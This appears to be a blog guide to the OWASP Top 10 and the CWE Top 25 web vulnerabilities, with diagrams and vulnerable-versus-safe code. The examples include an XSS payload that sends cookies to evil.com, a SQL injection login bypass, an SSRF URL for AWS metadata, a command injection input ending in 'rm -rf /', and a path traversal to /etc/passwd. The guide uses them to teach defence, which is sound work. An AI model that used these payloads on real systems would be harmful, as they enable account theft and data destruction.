OWASP Top 25 Web Security Vulnerabilities — A Visual Guide for 2026
A comprehensive, visual breakdown of the most critical web application security risks. Learn what each vulnerability is, how attackers exploit it, and how to defend against it.
What is OWASP?
The Open Worldwide Application Security Project (OWASP) is a nonprofit foundation that publishes the most authoritative list of web application security risks. Their Top 10 list is the industry standard — referenced by PCI-DSS, NIST, and security auditors worldwide.
In this guide, we'll cover the OWASP Top 10 (2021) plus 15 additional critical vulnerabilities from the CWE Top 25, giving you a complete picture of the 25 most dangerous web security flaws.
OWASP Top 10 (2021) — At a Glance
┌─────────────────────────────────────────────────────────────────┐
│ OWASP TOP 10 — 2021 │
├────────┬────────────────────────────────┬───────────────────────┤
│ Rank │ Vulnerability │ Severity │
├────────┼────────────────────────────────┼───────────────────────┤
│ A01 │ Broken Access Control │ ██████████ CRITICAL │
│ A02 │ Cryptographic Failures │ █████████░ HIGH │
│ A03 │ Injection │ █████████░ HIGH │
│ A04 │ Insecure Design │ ████████░░ HIGH │
│ A05 │ Security Misconfiguration │ ████████░░ HIGH │
│ A06 │ Vulnerable Components │ ███████░░░ MEDIUM │
│ A07 │ Auth & Identification Fail │ ███████░░░ MEDIUM │
│ A08 │ Software & Data Integrity │ ██████░░░░ MEDIUM │
│ A09 │ Logging & Monitoring Fail │ █████░░░░░ MEDIUM │
│ A10 │ Server-Side Request Forgery │ █████░░░░░ MEDIUM │
└────────┴────────────────────────────────┴───────────────────────┘
A01: Broken Access Control
The #1 most common vulnerability. This happens when users can act outside their intended permissions.
How It Works
┌──────────┐ GET /admin/users ┌──────────┐
│ Normal │ ─────────────────────▶ │ Server │
│ User │ │ (No │
│ │ ◀─────────────────────── │ Check!) │
└──────────┘ 200 OK: All Users └──────────┘
❌ Server didn't verify the user's role!
Real Examples
- Changing
/api/user/123to/api/user/456to access another user's data - A regular user accessing
/adminpanel without authentication - Modifying a hidden form field like
role=admin
Prevention
# ❌ BAD — No authorization check
@app.get("/api/user/{user_id}")
def get_user(user_id):
return db.get_user(user_id)
# ✅ GOOD — Verify ownership
@app.get("/api/user/{user_id}")
def get_user(user_id, current_user):
if current_user.id != user_id and not current_user.is_admin:
raise HTTPException(403, "Forbidden")
return db.get_user(user_id)A02: Cryptographic Failures
Previously called "Sensitive Data Exposure." Weak or missing encryption leads to data leaks.
Attack Flow
User ──── HTTP (Plain Text) ────▶ Server
↑
Attacker intercepts:
"password=MySecret123"
vs.
User ──── HTTPS (Encrypted) ────▶ Server
↑
Attacker sees:
"x8k#2$mL@..." (gibberish)
Common Mistakes
| Mistake | Risk | Fix | |---------|------|-----| | Storing passwords in plaintext | Full account compromise | Use bcrypt/argon2 | | Using MD5/SHA1 for passwords | Rainbow table attacks | Use bcrypt with salt | | HTTP instead of HTTPS | Man-in-the-middle attack | Force HTTPS with HSTS | | Hardcoded API keys in code | Token theft from repos | Use environment variables | | Weak JWT secrets | Token forgery | Use 256-bit random secrets |
Prevention Checklist
✅ Enforce HTTPS everywhere (HSTS header)
✅ Hash passwords with bcrypt (cost factor ≥ 12)
✅ Encrypt sensitive data at rest (AES-256)
✅ Never commit secrets to git
✅ Rotate API keys regularly
✅ Use strong JWT secrets (≥ 256 bits)
A03: Injection (SQL, XSS, Command)
Untrusted data is sent to an interpreter as part of a command or query.
SQL Injection
Login Form: username = admin' OR '1'='1' --
┌─────────────────────────────────────────────────┐
│ SELECT * FROM users │
│ WHERE username = 'admin' OR '1'='1' --' │
│ AND password = 'anything' │
│ │
│ Result: Returns ALL users (bypasses auth!) │
└─────────────────────────────────────────────────┘
Cross-Site Scripting (XSS)
Comment: <script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>
┌──────────┐ Stored XSS ┌──────────┐ Cookie Stolen ┌──────────┐
│ Attacker │ ──────────────▶ │ Server │ ──────────────────▶ │ Victim │
└──────────┘ └──────────┘ └──────────┘
Prevention
// ❌ BAD — SQL injection vulnerable
const query = `SELECT * FROM users WHERE id = ${req.params.id}`;
// ✅ GOOD — Parameterized query
const query = `SELECT * FROM users WHERE id = $1`;
db.query(query, [req.params.id]);
// ❌ BAD — XSS vulnerable
element.innerHTML = userInput;
// ✅ GOOD — Escaped output
element.textContent = userInput;A04: Insecure Design
Flaws in the architecture itself — no amount of perfect code can fix a bad design.
Example: No Rate Limiting
Attacker sends 10,000 login attempts per minute:
┌──────────┐ POST /login x10000 ┌──────────┐
│ Attacker │ ──────────────────────▶ │ Server │
│ │ (brute forcing) │ (no │
│ │ │ limit!) │
└──────────┘ └──────────┘
Fix: Rate limit to 5 attempts per 15 minutes per IP
Design Principles
┌─────────────────────────────────────────────────────┐
│ SECURE DESIGN PRINCIPLES │
├─────────────────────────────────────────────────────┤
│ 1. Defense in Depth │ Multiple security layers │
│ 2. Least Privilege │ Minimum permissions │
│ 3. Fail Secure │ Default to deny │
│ 4. Zero Trust │ Verify everything │
│ 5. Separation of Duty │ No single point of power │
└─────────────────────────────────────────────────────┘
A05: Security Misconfiguration
Default settings, open cloud storage, unnecessary features enabled, missing security headers.
Essential Security Headers
HTTP/1.1 200 OK
Strict-Transport-Security: max-age=63072000; includeSubDomains
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Content-Security-Policy: default-src 'self'
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=()
Common Misconfigurations
❌ Default admin credentials (admin/admin)
❌ Directory listing enabled
❌ Stack traces shown to users
❌ Unnecessary ports open (22, 3306, 5432)
❌ CORS set to * (allow all origins)
❌ Debug mode enabled in production
A06: Vulnerable and Outdated Components
Using libraries, frameworks, or dependencies with known vulnerabilities.
Check Your Dependencies
# Node.js / npm
npm audit
# Python
pip-audit
# Java
mvn dependency-check:check
# Go
govulncheck ./...Mitigation Strategy
┌───────────────────────────────────────────────────┐
│ DEPENDENCY SECURITY PIPELINE │
│ │
│ Code Push → Dependabot/Snyk Scan → CI Build │
│ ↓ ↓ ↓ │
│ Lock File Auto PR for Block if │
│ Committed Vulnerable Deps Critical CVE │
└───────────────────────────────────────────────────┘
A07: Identification and Authentication Failures
Weak passwords, missing MFA, session fixation, credential stuffing.
Password Policy Comparison
Weak: password123 (cracked in < 1 second)
Medium: P@ssw0rd!2026 (cracked in hours)
Strong: kX#9mL$vQ2@nB8wR (cracked in centuries)
Best: correct-horse-battery-staple (memorable + strong)
Authentication Checklist
✅ Enforce strong passwords (min 12 chars)
✅ Implement multi-factor authentication (MFA)
✅ Rate limit login attempts
✅ Use secure session management (httpOnly, secure cookies)
✅ Hash passwords with bcrypt/argon2
✅ Implement account lockout after failed attempts
✅ Log authentication events
A08: Software and Data Integrity Failures
Not verifying that software updates, CI/CD pipelines, or data haven't been tampered with.
Supply Chain Attack Flow
┌──────────┐ Compromised ┌──────────┐ npm install ┌──────────┐
│ Attacker │ ──────────────▶ │ NPM │ ──────────────▶ │ Your │
│ │ publishes │ Package │ │ App │
│ │ malicious pkg │ │ │ (hacked) │
└──────────┘ └──────────┘ └──────────┘
Prevention
✅ Use lock files (package-lock.json, yarn.lock)
✅ Verify package checksums
✅ Use npm audit / Snyk in CI pipeline
✅ Pin dependency versions
✅ Review dependency changes in PRs
✅ Sign commits and releases
A09: Security Logging and Monitoring Failures
Without proper logging, breaches go undetected for months.
What to Log
┌─────────────────────────────────────────────────────┐
│ SECURITY EVENT LOG │
├──────────────────────┬──────────────────────────────┤
│ Event │ Log Data │
├──────────────────────┼──────────────────────────────┤
│ Login success │ User, IP, timestamp │
│ Login failure │ Username tried, IP, count │
│ Access denied │ User, resource, IP │
│ Admin actions │ Who, what, when │
│ Data export │ User, records count, IP │
│ Config changes │ Before/after, who, when │
│ Rate limit hit │ IP, endpoint, count │
└──────────────────────┴──────────────────────────────┘
A10: Server-Side Request Forgery (SSRF)
The server is tricked into making requests to unintended destinations.
SSRF Attack
User input: url=http://169.254.169.254/latest/meta-data/
┌──────────┐ Fetch URL ┌──────────┐ Internal ┌──────────────┐
│ Attacker │ ──────────────▶ │ Your │ ─────────────▶ │ AWS Meta │
│ │ │ Server │ │ (secrets!) │
│ │ ◀────────────── │ │ ◀───────────── │ │
└──────────┘ AWS keys! └──────────┘ IAM creds └──────────────┘
Prevention
✅ Whitelist allowed URLs/domains
✅ Block requests to internal IPs (10.x, 172.16.x, 192.168.x, 169.254.x)
✅ Don't follow redirects from user input
✅ Use a URL parser to validate the destination
Beyond Top 10: CWE Top 25 Additional Vulnerabilities
11. Out-of-Bounds Write (CWE-787)
Writing data beyond allocated memory — buffer overflow attacks.
12. Out-of-Bounds Read (CWE-125)
Reading memory outside allocated bounds — information leakage.
13. Use After Free (CWE-416)
Accessing memory after it's been freed — code execution.
14. OS Command Injection (CWE-78)
# ❌ VULNERABLE — User input in shell command
os.system(f"ping {user_input}")
# Input: "google.com; rm -rf /"
# ✅ SAFE — Use subprocess with list args
subprocess.run(["ping", user_input], shell=False)15. NULL Pointer Dereference (CWE-476)
Accessing a null reference causing crashes — denial of service.
16. Improper Input Validation (CWE-20)
Not validating type, length, range, or format of input data.
17. Path Traversal (CWE-22)
# ❌ VULNERABLE
GET /api/file?name=../../../etc/passwd
# ✅ SAFE — Validate and sanitize
if not os.path.abspath(path).startswith(ALLOWED_DIR):
raise SecurityError("Path traversal detected")
18. Cross-Site Request Forgery — CSRF (CWE-352)
┌──────────┐ Visit evil.com ┌──────────┐ Auto POST ┌──────────┐
│ Victim │ ──────────────────▶ │ Evil │ ─────────────▶ │ Bank │
│ (logged │ │ Site │ /transfer │ Server │
│ in) │ │ │ amount=10000 │ │
└──────────┘ └──────────┘ └──────────┘
Prevention: CSRF tokens, SameSite cookies
19. Integer Overflow (CWE-190)
Arithmetic exceeding max value wraps around — logic bypass.
20. Improper Restriction of XML External Entities — XXE (CWE-611)
Parsing XML with external entity references — file disclosure, SSRF.
21. Missing Authentication for Critical Function (CWE-306)
Admin endpoints accessible without any authentication.
22. Race Condition (CWE-362)
Time-of-check to time-of-use (TOCTOU) bugs — double spending.
23. Improper Privilege Management (CWE-269)
Granting more permissions than needed — privilege escalation.
24. Deserialization of Untrusted Data (CWE-502)
# ❌ NEVER deserialize untrusted data
pickle.loads(user_data) # Python
unserialize($user_data); // PHP
# ✅ Use JSON instead
json.loads(user_data)
25. Improper Control of Code Generation — Code Injection (CWE-94)
// ❌ NEVER use eval with user input
eval(userInput);
// ✅ Use safe alternatives
JSON.parse(userInput);Security Audit Checklist
Use this checklist to audit your own applications:
AUTHENTICATION & ACCESS
□ Strong password policy enforced
□ Multi-factor authentication available
□ Rate limiting on login (5 attempts/15 min)
□ Session timeout after inactivity
□ Role-based access control (RBAC)
INJECTION PREVENTION
□ Parameterized queries (no string concatenation)
□ Input validation on all user data
□ Output encoding for XSS prevention
□ CSP headers configured
CONFIGURATION
□ HTTPS enforced (HSTS header)
□ Security headers set (X-Frame, CSP, etc.)
□ Default credentials changed
□ Debug mode disabled in production
□ Error messages don't leak stack traces
DATA PROTECTION
□ Passwords hashed with bcrypt/argon2
□ Sensitive data encrypted at rest
□ No secrets in source code
□ .env files in .gitignore
DEPENDENCIES
□ npm audit / pip-audit passes
□ Dependencies updated regularly
□ Lock files committed
□ Dependabot or Snyk enabled
MONITORING
□ Failed login attempts logged
□ Admin actions logged
□ Alerts for suspicious activity
□ Logs stored securely (not deletable)
Conclusion
Security isn't a feature you add at the end — it's a practice you follow from day one. The OWASP Top 10 and CWE Top 25 give you a clear map of what to protect against. Start with the basics (HTTPS, input validation, strong auth), then layer on monitoring and hardening.
At TechSystem Lab, we've implemented all of these protections:
- Rate limiting on login and contact forms
- Security headers (CSP, HSTS, X-Frame-Options)
- Input sanitization and path traversal prevention
- JWT authentication with secure cookies
- Slug validation to prevent injection attacks
The most important takeaway: always validate input, always encode output, and never trust the client.
Want to learn more about securing your infrastructure? Check out our guides on Network Monitoring Best Practices and Open Source Security Tools.